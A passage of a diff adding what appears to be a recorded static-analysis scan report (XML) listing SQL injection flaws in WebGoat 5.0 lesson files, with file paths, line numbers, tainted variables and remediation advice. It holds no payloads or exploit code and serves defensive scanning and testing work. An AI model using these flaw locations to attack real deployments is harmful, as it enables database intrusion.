+        routines when possible. \"/><bulletitem text=\"Normalize all user-supplied
+        data before applying filters or regular expressions, or submitting the data
+        to a database. This means that all URL-encoded (%xx), HTML-encoded (&amp;#xx;),
+        or other encoding schemes should be reduced to the internal character representation
+        expected by the application. This prevents attackers from using alternate
+        encoding schemes to bypass filters.\"/><bulletitem text=\"When using database
+        abstraction libraries such as Hibernate, do not assume that all methods exposed
+        by the API will automatically prevent SQL injection attacks.  Most libraries
+        contain methods that pass arbitrary queries to the database in an unsafe manner.\"/></para></recommendations><cwe
+        cweid=\"89\" cwename=\"Improper Neutralization of Special Elements used in
+        an SQL Command ('SQL Injection')\" pcirelated=\"false\" owasp=\"929\" sans=\"864\"><description><text
+        text=\"This database query contains a SQL injection flaw.  The function call
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input.  An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database.\"/></description><staticflaws><flaw severity=\"4\" categoryname=\"Improper
+        Neutralization of Special Elements used in an SQL Command ('SQL Injection')\"
+        count=\"1\" issueid=\"126\" module=\"WebGoat-5.0-with-jsp.war\" type=\"java.sql.Statement.executeUpdate\"
+        description=\"This database query contains a SQL injection flaw. The call
+        to java.sql.Statement.executeUpdate() constructs a dynamic SQL query using
+        a variable derived from user-supplied input. An attacker could exploit this
+        flaw to execute arbitrary SQL queries against the database. The first argument
+        to executeUpdate() contains tainted data from the variable arrSQL. The tainted
+        data originated from an earlier call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid
+        dynamically constructing SQL queries. Instead, use parameterized prepared
+        statements to prevent the database from interpreting the contents of bind
+        variables as part of the query. Always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/89.html)
+        \r\nOWASP (http://www.owasp.org/index.php/SQL_injection) \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\"
+        note=\"\" cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"BackDoors.java\"
+        line=\"106\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.BackDoors\"
+        functionprototype=\"apache.ecs.Element concept1(session.WebSession)\" functionrelativelocation=\"26\"><exploitability_adjustments><exploitability_adjustment
+        score_adjustment=\"1\"><note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"91\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable arrSQL. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"BackDoors.java\"
+        line=\"113\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.BackDoors\"
+        functionprototype=\"apache.ecs.Element concept1(session.WebSession)\" functionrelativelocation=\"35\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"236\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"BlindSqlInjection.java\"
+        line=\"122\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.BlindSqlInjection\"
+        functionprototype=\"apache.ecs.Element createContent(session.WebSession)\"
+        functionrelativelocation=\"64\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"148\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.http.HttpServletRequest.getCookies.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"Challenge2Screen.java\"
+        line=\"220\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.Challenge2Screen\"
+        functionprototype=\"apache.ecs.Element doStage2(session.WebSession)\" functionrelativelocation=\"31\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"66\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"DOS_Login.java\"
+        line=\"114\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.DOS_Login\"
+        functionprototype=\"apache.ecs.Element createContent(session.WebSession)\"
+        functionrelativelocation=\"26\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"245\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeUpdate\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeUpdate()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeUpdate() contains tainted
+        data from the variable insertData1. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"DOS_Login.java\"
+        line=\"134\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.DOS_Login\"
+        functionprototype=\"apache.ecs.Element createContent(session.WebSession)\"
+        functionrelativelocation=\"47\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"206\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"Login.java\"
+        line=\"148\" sourcefilepath=\"org/owasp/webgoat/lessons/RoleBasedAccessControl/\"
+        scope=\"org.owasp.webgoat.lessons.RoleBasedAccessControl.Login\" functionprototype=\"byte
+        login(session.WebSession, int, java.lang.String)\" functionrelativelocation=\"35\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"75\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"Login.java\"
+        line=\"149\" sourcefilepath=\"org/owasp/webgoat/lessons/SQLInjection/\" scope=\"org.owasp.webgoat.lessons.SQLInjection.Login\"
+        functionprototype=\"byte login(session.WebSession, java.lang.String, java.lang.String)\"
+        functionrelativelocation=\"36\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"106\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"Login.java\"
+        line=\"191\" sourcefilepath=\"org/owasp/webgoat/lessons/SQLInjection/\" scope=\"org.owasp.webgoat.lessons.SQLInjection.Login\"
+        functionprototype=\"byte login_BACKUP(session.WebSession, java.lang.String,
+        java.lang.String)\" functionrelativelocation=\"36\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"247\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"SqlNumericInjection.java\"
+        line=\"130\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.SqlNumericInjection\"
+        functionprototype=\"apache.ecs.Element injectableQuery(session.WebSession)\"
+        functionrelativelocation=\"45\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"165\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"SqlStringInjection.java\"
+        line=\"112\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.SqlStringInjection\"
+        functionprototype=\"apache.ecs.Element injectableQuery(session.WebSession)\"
+        functionrelativelocation=\"32\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"225\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ThreadSafetyProblem.java\"
+        line=\"103\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.ThreadSafetyProblem\"
+        functionprototype=\"apache.ecs.Element createContent(session.WebSession)\"
+        functionrelativelocation=\"53\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"71\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"UpdateProfile.java\"
+        line=\"176\" sourcefilepath=\"org/owasp/webgoat/lessons/RoleBasedAccessControl/\"
+        scope=\"org.owasp.webgoat.lessons.RoleBasedAccessControl.UpdateProfile\" functionprototype=\"void
+        changeEmployeeProfile(session.WebSession, int, int, session.Employee)\" functionrelativelocation=\"83\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"112\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeUpdate\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeUpdate()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeUpdate() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"UpdateProfile.java\"
+        line=\"248\" sourcefilepath=\"org/owasp/webgoat/lessons/CrossSiteScripting/\"
+        scope=\"org.owasp.webgoat.lessons.CrossSiteScripting.UpdateProfile\" functionprototype=\"void
+        changeEmployeeProfile(session.WebSession, int, int, session.Employee)\" functionrelativelocation=\"83\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"59\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeUpdate\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeUpdate()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeUpdate() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"UpdateProfile.java\"
+        line=\"295\" sourcefilepath=\"org/owasp/webgoat/lessons/RoleBasedAccessControl/\"
+        scope=\"org.owasp.webgoat.lessons.RoleBasedAccessControl.UpdateProfile\" functionprototype=\"void
+        createEmployeeProfile(session.WebSession, int, session.Employee)\" functionrelativelocation=\"68\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
